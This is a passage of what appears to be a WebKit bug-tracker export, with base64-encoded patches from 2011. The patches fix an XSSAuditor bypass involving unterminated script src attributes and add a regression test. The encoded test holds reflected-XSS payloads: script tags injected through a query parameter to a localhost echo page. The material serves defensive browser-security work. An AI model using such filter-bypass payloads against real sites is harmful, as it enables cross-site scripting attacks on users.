LCByb2xsaW5nIG91dCByOTc2NTMuCkluZGV4OiBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3Vy
aXR5L3hzc0F1ZGl0b3Ivc2NyaXB0LXRhZy13aXRoLXNvdXJjZS11bnRlcm1pbmF0ZWQtZXhwZWN0
ZWQudHh0Cj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT0KLS0tIExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNz
QXVkaXRvci9zY3JpcHQtdGFnLXdpdGgtc291cmNlLXVudGVybWluYXRlZC1leHBlY3RlZC50eHQJ
KHJldmlzaW9uIDApCisrKyBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0
b3Ivc2NyaXB0LXRhZy13aXRoLXNvdXJjZS11bnRlcm1pbmF0ZWQtZXhwZWN0ZWQudHh0CShyZXZp
c2lvbiAwKQpAQCAtMCwwICsxLDcgQEAKK0NPTlNPTEUgTUVTU0FHRTogbGluZSAxOiBSZWZ1c2Vk
IHRvIGV4ZWN1dGUgYSBKYXZhU2NyaXB0IHNjcmlwdC4gU291cmNlIGNvZGUgb2Ygc2NyaXB0IGZv
dW5kIHdpdGhpbiByZXF1ZXN0LgorCitDT05TT0xFIE1FU1NBR0U6IGxpbmUgMTogUmVmdXNlZCB0
byBleGVjdXRlIGEgSmF2YVNjcmlwdCBzY3JpcHQuIFNvdXJjZSBjb2RlIG9mIHNjcmlwdCBmb3Vu
ZCB3aXRoaW4gcmVxdWVzdC4KKworQ09OU09MRSBNRVNTQUdFOiBsaW5lIDE6IFJlZnVzZWQgdG8g
ZXhlY3V0ZSBhIEphdmFTY3JpcHQgc2NyaXB0LiBTb3VyY2UgY29kZSBvZiBzY3JpcHQgZm91bmQg
d2l0aGluIHJlcXVlc3QuCisKKyAgCkluZGV4OiBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3Vy
aXR5L3hzc0F1ZGl0b3Ivc2NyaXB0LXRhZy13aXRoLXNvdXJjZS11bnRlcm1pbmF0ZWQuaHRtbAo9
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09Ci0tLSBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Iv
c2NyaXB0LXRhZy13aXRoLXNvdXJjZS11bnRlcm1pbmF0ZWQuaHRtbAkocmV2aXNpb24gMCkKKysr
IExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9zY3JpcHQtdGFnLXdp
dGgtc291cmNlLXVudGVybWluYXRlZC5odG1sCShyZXZpc2lvbiAwKQpAQCAtMCwwICsxLDE5IEBA
Cis8IURPQ1RZUEUgaHRtbD4KKzxodG1sPgorPGhlYWQ+Cis8c2NyaXB0PgoraWYgKHdpbmRvdy5s
YXlvdXRUZXN0Q29udHJvbGxlcikgeworICBsYXlvdXRUZXN0Q29udHJvbGxlci5kdW1wQXNUZXh0
KCk7CisgIGxheW91dFRlc3RDb250cm9sbGVyLnNldFhTU0F1ZGl0b3JFbmFibGVkKHRydWUpOwor
fQorPC9zY3JpcHQ+Cis8L2hlYWQ+Cis8Ym9keT4KKzxpZnJhbWUgc3JjPSdodHRwOi8vbG9jYWxo
b3N0OjgwMDAvc2VjdXJpdHkveHNzQXVkaXRvci9yZXNvdXJjZXMvZWNoby1pbnRlcnRhZy5wbD9x
PTxzY3JpcHQgc3JjPSJodHRwOi8vMTI3LjAuMC4xOjgwMDAvc2VjdXJpdHkveHNzQXVkaXRvci9y
ZXNvdXJjZXMveHNzLmpzPyZxMj0iPjwvc2NyaXB0PiZjbHV0dGVyPWJsYWgnPgorPC9pZnJhbWU+
Cis8aWZyYW1lIHNyYz0naHR0cDovL2xvY2FsaG9zdDo4MDAwL3NlY3VyaXR5L3hzc0F1ZGl0b3Iv
cmVzb3VyY2VzL2VjaG8taW50ZXJ0YWcucGw/cT08c2NyaXB0IHNyYz0iaHR0cDovLzEyNy4wLjAu
MTo4MDAwL3NlY3VyaXR5L3hzc0F1ZGl0b3IvcmVzb3VyY2VzL3hzcy5qcyUyMyZxMj0iPjwvc2Ny
aXB0PiZjbHV0dGVyPWJsYWgnPgorPC9pZnJhbWU+Cis8aWZyYW1lIHNyYz0naHR0cDovL2xvY2Fs
aG9zdDo4MDAwL3NlY3VyaXR5L3hzc0F1ZGl0b3IvcmVzb3VyY2VzL2VjaG8taW50ZXJ0YWcucGw/
cT08c2NyaXB0IHNyYz0iaHR0cDovLzEyNy4wLjAuMTo4MDAwL3NlY3VyaXR5L3hzc0F1ZGl0b3Iv
cmVzb3VyY2VzLyZxMj0iPjwvc2NyaXB0PiZjbHV0dGVyPXhzcy5qcz8nPgorPC9pZnJhbWU+Cis8
L2JvZHk+Cis8L2h0bWw+Cg==
</data>

          </attachment>
          <attachment
              isobsolete="1"
              ispatch="1"
              isprivate="0"
          >
            <attachid>111345</attachid>
            <date>2011-10-17 16:34:16 -0700</date>
            <delta_ts>2011-10-17 17:41:03 -0700</delta_ts>
            <desc>Much easier to understand patch.</desc>
            <filename>patch_70255.txt</filename>
            <type>text/plain</type>
            <size>10657</size>
            <attacher name="Thomas Sepez">tsepez</attacher>
            
              <data encoding="base64">SW5kZXg6IFNvdXJjZS9XZWJDb3JlL0NoYW5nZUxvZwo9PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBTb3VyY2UvV2Vi
Q29yZS9DaGFuZ2VMb2cJKHJldmlzaW9uIDk3NjYxKQorKysgU291cmNlL1dlYkNvcmUvQ2hhbmdl
TG9nCSh3b3JraW5nIGNvcHkpCkBAIC0xLDMgKzEsMjUgQEAKKzIwMTEtMTAtMTcgIFRvbSBTZXBl
eiAgPHRzZXBlekBjaHJvbWl1bS5vcmc+CisKKyAgICAgICAgRml4IHhzc2F1ZGl0b3IgYnlwYXNz
IHdoZXJlIHVudGVybWluYXRlZCBzcmM9IiIgYXR0cmlidXRlIGNvdWxkIHBpY2sgdXAKKyAgICAg
ICAgdGV4dCBmcm9tIHBhZ2UgY2F1c2luZyBmYWlsZWQgWFNTIGRldGVjdGlvbi4gIENvbnN0cmFp
biBtYXRjaCB0byBkb21haW4KKyAgICAgICAgcG9ydGlvbnMgb2Ygc3JjIGF0dHJpYnV0ZSBvbmx5
LgorICAgICAgICBodHRwczovL2J1Z3Mud2Via2l0Lm9yZy9zaG93X2J1Zy5jZ2k/aWQ9NzAyNTUK
KworICAgICAgICBSZXZpZXdlZCBieSBOT0JPRFkgKE9PUFMhKS4KKworICAgICAgICBUZXN0OiBo
dHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivc2NyaXB0LXRhZy13aXRoLXNvdXJjZS11bnRl
cm1pbmF0ZWQuaHRtbAorCisgICAgICAgICogaHRtbC9wYXJzZXIvWFNTQXVkaXRvci5jcHA6Cisg
ICAgICAgIChXZWJDb3JlOjpYU1NBdWRpdG9yOjpmaWx0ZXJTY3JpcHRUb2tlbik6CisgICAgICAg
IChXZWJDb3JlOjpYU1NBdWRpdG9yOjpmaWx0ZXJPYmplY3RUb2tlbik6CisgICAgICAgIChXZWJD
b3JlOjpYU1NBdWRpdG9yOjpmaWx0ZXJQYXJhbVRva2VuKToKKyAgICAgICAgKFdlYkNvcmU6OlhT
U0F1ZGl0b3I6OmZpbHRlckVtYmVkVG9rZW4pOgorICAgICAgICAoV2ViQ29yZTo6WFNTQXVkaXRv
cjo6ZmlsdGVyQXBwbGV0VG9rZW4pOgorICAgICAgICAoV2ViQ29yZTo6WFNTQXVkaXRvcjo6Zmls
dGVySWZyYW1lVG9rZW4pOgorICAgICAgICAoV2ViQ29yZTo6WFNTQXVkaXRvcjo6ZXJhc2VBdHRy
aWJ1dGVJZkluamVjdGVkKToKKyAgICAgICAgKFdlYkNvcmU6OlhTU0F1ZGl0b3I6OmRlY29kZWRT
bmlwcGV0Rm9yQXR0cmlidXRlKToKKyAgICAgICAgKiBodG1sL3BhcnNlci9YU1NBdWRpdG9yLmg6
CisKIDIwMTEtMTAtMTcgIE9qYW4gVmFmYWkgIDxvamFuQGNocm9taXVtLm9yZz4KIAogICAgICAg
ICBVbnJldmlld2VkLCByb2xsaW5nIG91dCByOTc2NTMuCkluZGV4OiBTb3VyY2UvV2ViQ29yZS9o
dG1sL3BhcnNlci9YU1NBdWRpdG9yLmNwcAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBTb3VyY2UvV2ViQ29yZS9o
dG1sL3BhcnNlci9YU1NBdWRpdG9yLmNwcAkocmV2aXNpb24gOTc2MzcpCisrKyBTb3VyY2UvV2Vi
Q29yZS9odG1sL3BhcnNlci9YU1NBdWRpdG9yLmNwcAkod29ya2luZyBjb3B5KQpAQCAtMzUzLDcg
KzM1Myw3IEBAIGJvb2wgWFNTQXVkaXRvcjo6ZmlsdGVyU2NyaXB0VG9rZW4oSFRNTFQKICAgICBB
U1NFUlQodG9rZW4udHlwZSgpID09IEhUTUxUb2tlblR5cGVzOjpTdGFydFRhZyk7CiAgICAgQVNT
RVJUKGhhc05hbWUodG9rZW4sIHNjcmlwdFRhZykpOwogCi0gICAgaWYgKGVyYXNlQXR0cmlidXRl
SWZJbmplY3RlZCh0b2tlbiwgc3JjQXR0ciwgYmxhbmtVUkwoKS5zdHJpbmcoKSkpCisgICAgaWYg
KGVyYXNlQXR0cmlidXRlSWZJbmplY3RlZCh0b2tlbiwgc3JjQXR0ciwgYmxhbmtVUkwoKS5zdHJp
bmcoKSwgU3JjTGlrZUF0dHJpYnV0ZSkpCiAgICAgICAgIHJldHVybiB0cnVlOwogCiAgICAgbV9z
dGF0ZSA9IEFmdGVyU2NyaXB0U3RhcnRUYWc7CkBAIC0zNjksNyArMzY5LDcgQEAgYm9vbCBYU1NB
dWRpdG9yOjpmaWx0ZXJPYmplY3RUb2tlbihIVE1MVAogCiAgICAgYm9vbCBkaWRCbG9ja1Njcmlw
dCA9IGZhbHNlOwogCi0gICAgZGlkQmxvY2tTY3JpcHQgfD0gZXJhc2VBdHRyaWJ1dGVJZkluamVj
dGVkKHRva2VuLCBkYXRhQXR0ciwgYmxhbmtVUkwoKS5zdHJpbmcoKSk7CisgICAgZGlkQmxvY2tT
Y3JpcHQgfD0gZXJhc2VBdHRyaWJ1dGVJZkluamVjdGVkKHRva2VuLCBkYXRhQXR0ciwgYmxhbmtV
UkwoKS5zdHJpbmcoKSwgU3JjTGlrZUF0dHJpYnV0ZSk7CiAgICAgZGlkQmxvY2tTY3JpcHQgfD0g
ZXJhc2VBdHRyaWJ1dGVJZkluamVjdGVkKHRva2VuLCB0eXBlQXR0cik7CiAgICAgZGlkQmxvY2tT
Y3JpcHQgfD0gZXJhc2VBdHRyaWJ1dGVJZkluamVjdGVkKHRva2VuLCBjbGFzc2lkQXR0cik7CiAK
QEAgLTM5Miw3ICszOTIsNyBAQCBib29sIFhTU0F1ZGl0b3I6OmZpbHRlclBhcmFtVG9rZW4oSFRN
TFRvCiAgICAgaWYgKCFIVE1MUGFyYW1FbGVtZW50Ojppc1VSTFBhcmFtZXRlcihuYW1lKSkKICAg
ICAgICAgcmV0dXJuIGZhbHNlOwogCi0gICAgcmV0dXJuIGVyYXNlQXR0cmlidXRlSWZJbmplY3Rl
ZCh0b2tlbiwgdmFsdWVBdHRyLCBibGFua1VSTCgpLnN0cmluZygpKTsKKyAgICByZXR1cm4gZXJh
c2VBdHRyaWJ1dGVJZkluamVjdGVkKHRva2VuLCB2YWx1ZUF0dHIsIGJsYW5rVVJMKCkuc3RyaW5n
KCksIFNyY0xpa2VBdHRyaWJ1dGUpOwogfQogCiBib29sIFhTU0F1ZGl0b3I6OmZpbHRlckVtYmVk
VG9rZW4oSFRNTFRva2VuJiB0b2tlbikKQEAgLTQwMyw3ICs0MDMsNyBAQCBib29sIFhTU0F1ZGl0
b3I6OmZpbHRlckVtYmVkVG9rZW4oSFRNTFRvCiAKICAgICBib29sIGRpZEJsb2NrU2NyaXB0ID0g
ZmFsc2U7CiAKLSAgICBkaWRCbG9ja1NjcmlwdCB8PSBlcmFzZUF0dHJpYnV0ZUlmSW5qZWN0ZWQo
dG9rZW4sIHNyY0F0dHIsIGJsYW5rVVJMKCkuc3RyaW5nKCkpOworICAgIGRpZEJsb2NrU2NyaXB0
IHw9IGVyYXNlQXR0cmlidXRlSWZJbmplY3RlZCh0b2tlbiwgc3JjQXR0ciwgYmxhbmtVUkwoKS5z
dHJpbmcoKSwgU3JjTGlrZUF0dHJpYnV0ZSk7CiAgICAgZGlkQmxvY2tTY3JpcHQgfD0gZXJhc2VB
dHRyaWJ1dGVJZkluamVjdGVkKHRva2VuLCB0eXBlQXR0cik7CiAKICAgICByZXR1cm4gZGlkQmxv
Y2tTY3JpcHQ7CkBAIC00MTcsNyArNDE3LDcgQEAgYm9vbCBYU1NBdWRpdG9yOjpmaWx0ZXJBcHBs
ZXRUb2tlbihIVE1MVAogCiAgICAgYm9vbCBkaWRCbG9ja1NjcmlwdCA9IGZhbHNlOwogCi0gICAg
ZGlkQmxvY2tTY3JpcHQgfD0gZXJhc2VBdHRyaWJ1dGVJZkluamVjdGVkKHRva2VuLCBjb2RlQXR0
cik7CisgICAgZGlkQmxvY2tTY3JpcHQgfD0gZXJhc2VBdHRyaWJ1dGVJZkluamVjdGVkKHRva2Vu
LCBjb2RlQXR0ciwgU3RyaW5nKCksIFNyY0xpa2VBdHRyaWJ1dGUpOwogICAgIGRpZEJsb2NrU2Ny
aXB0IHw9IGVyYXNlQXR0cmlidXRlSWZJbmplY3RlZCh0b2tlbiwgb2JqZWN0QXR0cik7CiAKICAg
ICByZXR1cm4gZGlkQmxvY2tTY3JpcHQ7CkBAIC00MjksNyArNDI5LDcgQEAgYm9vbCBYU1NBdWRp
dG9yOjpmaWx0ZXJJZnJhbWVUb2tlbihIVE1MVAogICAgIEFTU0VSVCh0b2tlbi50eXBlKCkgPT0g
SFRNTFRva2VuVHlwZXM6OlN0YXJ0VGFnKTsKICAgICBBU1NFUlQoaGFzTmFtZSh0b2tlbiwgaWZy
YW1lVGFnKSk7CiAKLSAgICByZXR1cm4gZXJhc2VBdHRyaWJ1dGVJZkluamVjdGVkKHRva2VuLCBz
cmNBdHRyKTsKKyAgICByZXR1cm4gZXJhc2VBdHRyaWJ1dGVJZkluamVjdGVkKHRva2VuLCBzcmNB
dHRyLCBTdHJpbmcoKSwgU3JjTGlrZUF0dHJpYnV0ZSk7CiB9CiAKIGJvb2wgWFNTQXVkaXRvcjo6
ZmlsdGVyTWV0YVRva2VuKEhUTUxUb2tlbiYgdG9rZW4pCkBAIC01MDIsMTIgKzUwMiwxMiBAQCBi
b29sIFhTU0F1ZGl0b3I6OmVyYXNlRGFuZ2Vyb3VzQXR0cmlidXRlCiAgICAgcmV0dXJuIGRpZEJs
b2NrU2NyaXB0OwogfQogCi1ib29sIFhTU0F1ZGl0b3I6OmVyYXNlQXR0cmlidXRlSWZJbmplY3Rl
ZChIVE1MVG9rZW4mIHRva2VuLCBjb25zdCBRdWFsaWZpZWROYW1lJiBhdHRyaWJ1dGVOYW1lLCBj
b25zdCBTdHJpbmcmIHJlcGxhY2VtZW50VmFsdWUpCitib29sIFhTU0F1ZGl0b3I6OmVyYXNlQXR0
cmlidXRlSWZJbmplY3RlZChIVE1MVG9rZW4mIHRva2VuLCBjb25zdCBRdWFsaWZpZWROYW1lJiBh
dHRyaWJ1dGVOYW1lLCBjb25zdCBTdHJpbmcmIHJlcGxhY2VtZW50VmFsdWUsIEF0dHJpYnV0ZUtp
bmQgdHJlYXRtZW50KQogewogICAgIHNpemVfdCBpbmRleE9mQXR0cmlidXRlOwogICAgIGlmIChm
aW5kQXR0cmlidXRlV2l0aE5hbWUodG9rZW4sIGF0dHJpYnV0ZU5hbWUsIGluZGV4T2ZBdHRyaWJ1
dGUpKSB7CiAgICAgICAgIGNvbnN0IEhUTUxUb2tlbjo6QXR0cmlidXRlJiBhdHRyaWJ1dGUgPSB0
b2tlbi5hdHRyaWJ1dGVzKCkuYXQoaW5kZXhPZkF0dHJpYnV0ZSk7Ci0gICAgICAgIGlmIChpc0Nv
bnRhaW5lZEluUmVxdWVzdChkZWNvZGVkU25pcHBldEZvckF0dHJpYnV0ZSh0b2tlbiwgYXR0cmli
dXRlKSkpIHsKKyAgICAgICAgaWYgKGlzQ29udGFpbmVkSW5SZXF1ZXN0KGRlY29kZWRTbmlwcGV0
Rm9yQXR0cmlidXRlKHRva2VuLCBhdHRyaWJ1dGUsIHRyZWF0bWVudCkpKSB7CiAgICAgICAgICAg
ICBpZiAoYXR0cmlidXRlTmFtZSA9PSBzcmNBdHRyICYmIGlzU2FtZU9yaWdpblJlc291cmNlKFN0
cmluZyhhdHRyaWJ1dGUubV92YWx1ZS5kYXRhKCksIGF0dHJpYnV0ZS5tX3ZhbHVlLnNpemUoKSkp
KQogICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgIGlmIChhdHRyaWJ1
dGVOYW1lID09IGh0dHBfZXF1aXZBdHRyICYmICFpc0Rhbmdlcm91c0hUVFBFcXVpdihTdHJpbmco
YXR0cmlidXRlLm1fdmFsdWUuZGF0YSgpLCBhdHRyaWJ1dGUubV92YWx1ZS5zaXplKCkpKSkKQEAg
LTUyOCw3ICs1MjgsNyBAQCBTdHJpbmcgWFNTQXVkaXRvcjo6c25pcHBldEZvclJhbmdlKGNvbnN0
CiAgICAgcmV0dXJuIG1fcGFyc2VyLT5zb3VyY2VGb3JUb2tlbih0b2tlbikuc3Vic3RyaW5nKHN0
YXJ0LCBlbmQgLSBzdGFydCk7CiB9CiAKLVN0cmluZyBYU1NBdWRpdG9yOjpkZWNvZGVkU25pcHBl
dEZvckF0dHJpYnV0ZShjb25zdCBIVE1MVG9rZW4mIHRva2VuLCBjb25zdCBIVE1MVG9rZW46OkF0
dHJpYnV0ZSYgYXR0cmlidXRlKQorU3RyaW5nIFhTU0F1ZGl0b3I6OmRlY29kZWRTbmlwcGV0Rm9y
QXR0cmlidXRlKGNvbnN0IEhUTUxUb2tlbiYgdG9rZW4sIGNvbnN0IEhUTUxUb2tlbjo6QXR0cmli
dXRlJiBhdHRyaWJ1dGUsIEF0dHJpYnV0ZUtpbmQgdHJlYXRtZW50KQogewogICAgIGNvbnN0IHNp
emVfdCBrTWF4aW11bVNuaXBwZXRMZW5ndGggPSAxMDA7CiAKQEAgLTU0MCw2ICs1NDAsMjAgQEAg
U3RyaW5nIFhTU0F1ZGl0b3I6OmRlY29kZWRTbmlwcGV0Rm9yQXR0cgogICAgIGludCBlbmQgPSBh
dHRyaWJ1dGUubV92YWx1ZVJhbmdlLm1fZW5kIC0gdG9rZW4uc3RhcnRJbmRleCgpOwogICAgIFN0
cmluZyBkZWNvZGVkU25pcHBldCA9IGZ1bGx5RGVjb2RlU3RyaW5nKHNuaXBwZXRGb3JSYW5nZSh0
b2tlbiwgc3RhcnQsIGVuZCksIG1fcGFyc2VyLT5kb2N1bWVudCgpLT5kZWNvZGVyKCkpOwogICAg
IGRlY29kZWRTbmlwcGV0LnRydW5jYXRlKGtNYXhpbXVtU25pcHBldExlbmd0aCk7CisgICAgaWYg
KHRyZWF0bWVudCA9PSBTcmNMaWtlQXR0cmlidXRlKSB7CisgICAgICAgIGludCBzbGFzaENvdW50
OworICAgICAgICBzaXplX3QgY3VycmVudExlbmd0aDsKKyAgICAgICAgLy8gQ2hhcmFjdGVycyBm
b2xsb3dpbmcgdGhlIGZpcnN0ID8sICMsIG9yIHRoaXJkIHNsYXNoIG1heSBjb21lIGZyb20gCisg
ICAgICAgIC8vIHRoZSBwYWdlIGl0c2VsZiBhbmQgY2FuIGJlIG1lcmVseSBpZ25vcmVkIGJ5IGFu
IGF0dGFja2VyJ3Mgc2VydmVyCisgICAgICAgIC8vIHdoZW4gYSByZW1vdGUgc2NyaXB0IG9yIHNj
cmlwdC1saWtlIHJlc291cmNlIGlzIHJlcXVlc3RlZC4KKyAgICAgICAgZm9yIChzbGFzaENvdW50
ID0gMCwgY3VycmVudExlbmd0aCA9IDA7IGN1cnJlbnRMZW5ndGggPCBkZWNvZGVkU25pcHBldC5s
ZW5ndGgoKTsgKytjdXJyZW50TGVuZ3RoKSB7CisgICAgICAgICAgICBpZiAoZGVjb2RlZFNuaXBw
ZXRbY3VycmVudExlbmd0aF0gPT0gJz8nIHx8IGRlY29kZWRTbmlwcGV0W2N1cnJlbnRMZW5ndGhd
ID09ICcjJworICAgICAgICAgICAgICAgIHx8ICgoZGVjb2RlZFNuaXBwZXRbY3VycmVudExlbmd0
aF0gPT0gJy8nIHx8IGRlY29kZWRTbmlwcGV0W2N1cnJlbnRMZW5ndGhdID09ICdcXCcpICYmICsr
c2xhc2hDb3VudCA+IDIpKSB7CisgICAgICAgICAgICAgICAgZGVjb2RlZFNuaXBwZXQudHJ1bmNh
dGUoY3VycmVudExlbmd0aCk7CisgICAgICAgICAgICAgICAgYnJlYWs7CisgICAgICAgICAgICB9
CisgICAgICAgIH0KKyAgICB9CiAgICAgcmV0dXJuIGRlY29kZWRTbmlwcGV0OwogfQogCkBAIC01
NjYsNyArNTgwLDYgQEAgYm9vbCBYU1NBdWRpdG9yOjppc1NhbWVPcmlnaW5SZXNvdXJjZShjbwog
ICAgIHJldHVybiAobV9wYXJzZXItPmRvY3VtZW50KCktPnVybCgpLmhvc3QoKSA9PSByZXNvdXJj
ZVVSTC5ob3N0KCkgJiYgcmVzb3VyY2VVUkwucXVlcnkoKS5pc0VtcHR5KCkpOwogfQogCi0KIFN0
cmluZyBYU1NBdWRpdG9yOjpzbmlwcGV0Rm9ySmF2YVNjcmlwdChjb25zdCBTdHJpbmcmIHN0cmlu
ZykKIHsKICAgICBjb25zdCBzaXplX3Qga01heGltdW1GcmFnbWVudExlbmd0aFRhcmdldCA9IDEw
MDsKSW5kZXg6IFNvdXJjZS9XZWJDb3JlL2h0bWwvcGFyc2VyL1hTU0F1ZGl0b3IuaAo9PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09Ci0tLSBTb3VyY2UvV2ViQ29yZS9odG1sL3BhcnNlci9YU1NBdWRpdG9yLmgJKHJldmlzaW9u
IDk3NjM3KQorKysgU291cmNlL1dlYkNvcmUvaHRtbC9wYXJzZXIvWFNTQXVkaXRvci5oCSh3b3Jr
aW5nIGNvcHkpCkBAIC00OCw2ICs0OCwxMSBAQCBwcml2YXRlOgogICAgICAgICBBZnRlclNjcmlw
dFN0YXJ0VGFnLAogICAgIH07CiAKKyAgICBlbnVtIEF0dHJpYnV0ZUtpbmQgeworICAgICAgICBO
b3JtYWxBdHRyaWJ1dGUsCisgICAgICAgIFNyY0xpa2VBdHRyaWJ1dGUKKyAgICB9OworCiAgICAg
dm9pZCBpbml0KCk7CiAKICAgICBib29sIGZpbHRlclRva2VuSW5pdGlhbChIVE1MVG9rZW4mKTsK
QEAgLTY0LDExICs2OSwxMSBAQCBwcml2YXRlOgogICAgIGJvb2wgZmlsdGVyRm9ybVRva2VuKEhU
TUxUb2tlbiYpOwogCiAgICAgYm9vbCBlcmFzZURhbmdlcm91c0F0dHJpYnV0ZXNJZkluamVjdGVk
KEhUTUxUb2tlbiYpOwotICAgIGJvb2wgZXJhc2VBdHRyaWJ1dGVJZkluamVjdGVkKEhUTUxUb2tl
biYsIGNvbnN0IFF1YWxpZmllZE5hbWUmLCBjb25zdCBTdHJpbmcmIHJlcGxhY2VtZW50VmFsdWUg
PSBTdHJpbmcoKSk7CisgICAgYm9vbCBlcmFzZUF0dHJpYnV0ZUlmSW5qZWN0ZWQoSFRNTFRva2Vu
JiwgY29uc3QgUXVhbGlmaWVkTmFtZSYsIGNvbnN0IFN0cmluZyYgcmVwbGFjZW1lbnRWYWx1ZSA9
IFN0cmluZygpLCBBdHRyaWJ1dGVLaW5kIHRyZWF0bWVudCA9IE5vcm1hbEF0dHJpYnV0ZSk7CiAK
ICAgICBTdHJpbmcgc25pcHBldEZvclJhbmdlKGNvbnN0IEhUTUxUb2tlbiYsIGludCBzdGFydCwg
aW50IGVuZCk7CiAgICAgU3RyaW5nIHNuaXBwZXRGb3JKYXZhU2NyaXB0KGNvbnN0IFN0cmluZyYp
OwotICAgIFN0cmluZyBkZWNvZGVkU25pcHBldEZvckF0dHJpYnV0ZShjb25zdCBIVE1MVG9rZW4m
LCBjb25zdCBIVE1MVG9rZW46OkF0dHJpYnV0ZSYpOworICAgIFN0cmluZyBkZWNvZGVkU25pcHBl
dEZvckF0dHJpYnV0ZShjb25zdCBIVE1MVG9rZW4mLCBjb25zdCBIVE1MVG9rZW46OkF0dHJpYnV0
ZSYsIEF0dHJpYnV0ZUtpbmQgdHJlYXRtZW50ID0gTm9ybWFsQXR0cmlidXRlKTsKIAogICAgIGJv
b2wgaXNDb250YWluZWRJblJlcXVlc3QoY29uc3QgU3RyaW5nJik7CiAgICAgYm9vbCBpc1NhbWVP
cmlnaW5SZXNvdXJjZShjb25zdCBTdHJpbmcmIHVybCk7CkluZGV4OiBMYXlvdXRUZXN0cy9DaGFu
Z2VMb2cKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PQotLS0gTGF5b3V0VGVzdHMvQ2hhbmdlTG9nCShyZXZpc2lvbiA5NzY2
MSkKKysrIExheW91dFRlc3RzL0NoYW5nZUxvZwkod29ya2luZyBjb3B5KQpAQCAtMSwzICsxLDE1
IEBACisyMDExLTEwLTE3ICBUb20gU2VwZXogIDx0c2VwZXpAY2hyb21pdW0ub3JnPgorCisgICAg
ICAgIEZpeCB4c3NhdWRpdG9yIGJ5cGFzcyB3aGVyZSB1bnRlcm1pbmF0ZWQgc3JjPSIiIGF0dHJp
YnV0ZSBjb3VsZCBwaWNrIHVwCisgICAgICAgIHRleHQgZnJvbSBwYWdlIGNhdXNpbmcgZmFpbGVk
IFhTUyBkZXRlY3Rpb24uICBDb25zdHJhaW4gbWF0Y2ggdG8gZG9tYWluCisgICAgICAgIHBvcnRp
b25zIG9mIHNyYyBhdHRyaWJ1dGUgb25seS4KKyAgICAgICAgaHR0cHM6Ly9idWdzLndlYmtpdC5v
cmcvc2hvd19idWcuY2dpP2lkPTcwMjU1CisKKyAgICAgICAgUmV2aWV3ZWQgYnkgTk9CT0RZIChP
T1BTISkuCisKKyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivc2NyaXB0
LXRhZy13aXRoLXNvdXJjZS11bnRlcm1pbmF0ZWQtZXhwZWN0ZWQudHh0OiBBZGRlZC4KKyAgICAg
ICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivc2NyaXB0LXRhZy13aXRoLXNvdXJj
ZS11bnRlcm1pbmF0ZWQuaHRtbDogQWRkZWQuCisKIDIwMTEtMTAtMTcgIE9qYW4gVmFmYWkgIDxv
amFuQGNocm9taXVtLm9yZz4KIAogICAgICAgICBVbnJldmlld2VkLCByb2xsaW5nIG91dCByOTc2
NTMuCkluZGV4OiBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivc2Ny
aXB0LXRhZy13aXRoLXNvdXJjZS11bnRlcm1pbmF0ZWQtZXhwZWN0ZWQudHh0Cj09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0K
LS0tIExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9zY3JpcHQtdGFn
LXdpdGgtc291cmNlLXVudGVybWluYXRlZC1leHBlY3RlZC50eHQJKHJldmlzaW9uIDApCisrKyBM
YXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivc2NyaXB0LXRhZy13aXRo
LXNvdXJjZS11bnRlcm1pbmF0ZWQtZXhwZWN0ZWQudHh0CShyZXZpc2lvbiAwKQpAQCAtMCwwICsx
LDcgQEAKK0NPTlNPTEUgTUVTU0FHRTogbGluZSAxOiBSZWZ1c2VkIHRvIGV4ZWN1dGUgYSBKYXZh
U2NyaXB0IHNjcmlwdC4gU291cmNlIGNvZGUgb2Ygc2NyaXB0IGZvdW5kIHdpdGhpbiByZXF1ZXN0
LgorCitDT05TT0xFIE1FU1NBR0U6IGxpbmUgMTogUmVmdXNlZCB0byBleGVjdXRlIGEgSmF2YVNj
cmlwdCBzY3JpcHQuIFNvdXJjZSBjb2RlIG9mIHNjcmlwdCBmb3VuZCB3aXRoaW4gcmVxdWVzdC4K
KworQ09OU09MRSBNRVNTQUdFOiBsaW5lIDE6IFJlZnVzZWQgdG8gZXhlY3V0ZSBhIEphdmFTY3Jp
cHQgc2NyaXB0LiBTb3VyY2UgY29kZSBvZiBzY3JpcHQgZm91bmQgd2l0aGluIHJlcXVlc3QuCisK
KyAgCkluZGV4OiBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivc2Ny
aXB0LXRhZy13aXRoLXNvdXJjZS11bnRlcm1pbmF0ZWQuaHRtbAo9PT09PT09PT09PT09PT09PT09
